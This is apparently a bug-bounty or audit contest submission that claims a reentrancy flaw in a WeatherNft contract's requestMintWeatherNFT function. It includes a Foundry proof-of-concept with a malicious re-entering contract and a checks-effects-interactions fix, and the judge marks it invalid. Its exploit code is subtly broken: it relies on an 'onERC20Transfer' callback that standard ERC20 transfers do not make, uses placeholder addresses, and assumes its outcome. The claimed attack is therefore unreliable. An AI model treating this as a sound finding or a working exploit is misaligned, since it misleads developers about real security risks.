Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy Vulnerability in requestMintWeatherNFT Function

Summary

The requestMintWeatherNFT function in the WeatherNft contract contains a reentrancy vulnerability where the mint price is increased after the external call to IERC20, potentially allowing an attacker to exploit this sequence to mint multiple NFTs at a lower price.

Vulnerability Details

In the requestMintWeatherNFT function, the contract updates the mint price after making an external call:

// Line 110
s_currentMintPrice += s_stepIncreasePerMint;

This occurs after the external call to transfer funds, which could potentially allow a reentrancy attack. The function should follow the checks-effects-interactions pattern, updating state variables before making external calls.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
import "forge-std/Test.sol";
import "../src/WeatherNft.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReentrancyAttacker is Test {
WeatherNft public weatherNft;
address public attacker;
IERC20 public linkToken;
function setUp() public {
// Setup the WeatherNft contract and necessary dependencies
// This would include deploying the contract and setting up any required configurations
// For this PoC, we assume weatherNft is already deployed
weatherNft = WeatherNft(address(0x123)); // Replace with actual address
linkToken = IERC20(address(0x456)); // Replace with LINK token address
attacker = address(0x789); // Attacker address
// Fund the attacker with ETH and LINK
vm.deal(attacker, 10 ether);
// Assume attacker has LINK tokens and has approved the WeatherNft contract
}
function testReentrancyAttack() public {
vm.startPrank(attacker);
// Get the current mint price
uint256 initialMintPrice = weatherNft.s_currentMintPrice();
// Create a malicious contract that will perform the reentrancy attack
MaliciousContract malicious = new MaliciousContract(address(weatherNft), address(linkToken));
// Transfer ETH and LINK to the malicious contract
payable(address(malicious)).transfer(5 ether);
linkToken.transfer(address(malicious), 1 ether);
// Execute the attack
malicious.attack("12345", "US", true, 3600, 0.1 ether);
// Verify that multiple NFTs were minted at the initial price
assertEq(weatherNft.balanceOf(address(malicious)), 3); // Assuming 3 NFTs were minted
vm.stopPrank();
}
}
contract MaliciousContract {
WeatherNft public weatherNft;
IERC20 public linkToken;
uint256 public attackCount;
string public pincode;
string public isoCode;
bool public registerKeeper;
uint256 public heartbeat;
uint256 public linkDeposit;
constructor(address _weatherNft, address _linkToken) {
weatherNft = WeatherNft(_weatherNft);
linkToken = IERC20(_linkToken);
attackCount = 0;
}
function attack(
string memory _pincode,
string memory _isoCode,
bool _registerKeeper,
uint256 _heartbeat,
uint256 _linkDeposit
) external payable {
pincode = _pincode;
isoCode = _isoCode;
registerKeeper = _registerKeeper;
heartbeat = _heartbeat;
linkDeposit = _linkDeposit;
// Approve LINK tokens to be spent by the WeatherNft contract
linkToken.approve(address(weatherNft), type(uint256).max);
// Start the attack by calling requestMintWeatherNFT
uint256 mintPrice = weatherNft.s_currentMintPrice();
weatherNft.requestMintWeatherNFT{value: mintPrice}(
pincode,
isoCode,
registerKeeper,
heartbeat,
linkDeposit
);
}
// This function will be called by the LINK token during safeTransferFrom
function onERC20Transfer(address, address, uint256) external returns (bool) {
if (attackCount < 2) { // Limit to prevent infinite recursion
attackCount++;
// Re-enter the requestMintWeatherNFT function
uint256 mintPrice = weatherNft.s_currentMintPrice();
weatherNft.requestMintWeatherNFT{value: mintPrice}(
pincode,
isoCode,
registerKeeper,
heartbeat,
linkDeposit
);
}
return true;
}
// Function to receive ETH
receive() external payable {}
}

This PoC demonstrates how an attacker could exploit the reentrancy vulnerability to mint multiple NFTs at the original price, bypassing the price increase mechanism.

Impact

This vulnerability could allow an attacker to:

  • Mint multiple NFTs at the original price instead of the increased price

  • Manipulate the minting process to gain an unfair advantage

  • Potentially drain funds from the contract through repeated exploitation

The impact is high as it directly affects the economic model of the NFT system and could lead to financial losses.

Recommendations

Implement the checks-effects-interactions pattern by moving the price increase before any external calls:

function requestMintWeatherNFT(
string memory _pincode,
string memory _isoCode,
bool _registerKeeper,
uint256 _heartbeat,
uint256 _initLinkDeposit
) external payable returns (bytes32 _reqId) {
require(
msg.value == s_currentMintPrice,
"WeatherNft__InvalidAmountSent"
);
// Update state variables first
s_currentMintPrice += s_stepIncreasePerMint;
// Then make external calls
if (_registerKeeper) {
IERC20(s_link).safeTransferFrom(
msg.sender,
address(this),
_initLinkDeposit
);
}
// Rest of the function...
}
Updates

Appeal created

bube Lead Judge 7 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.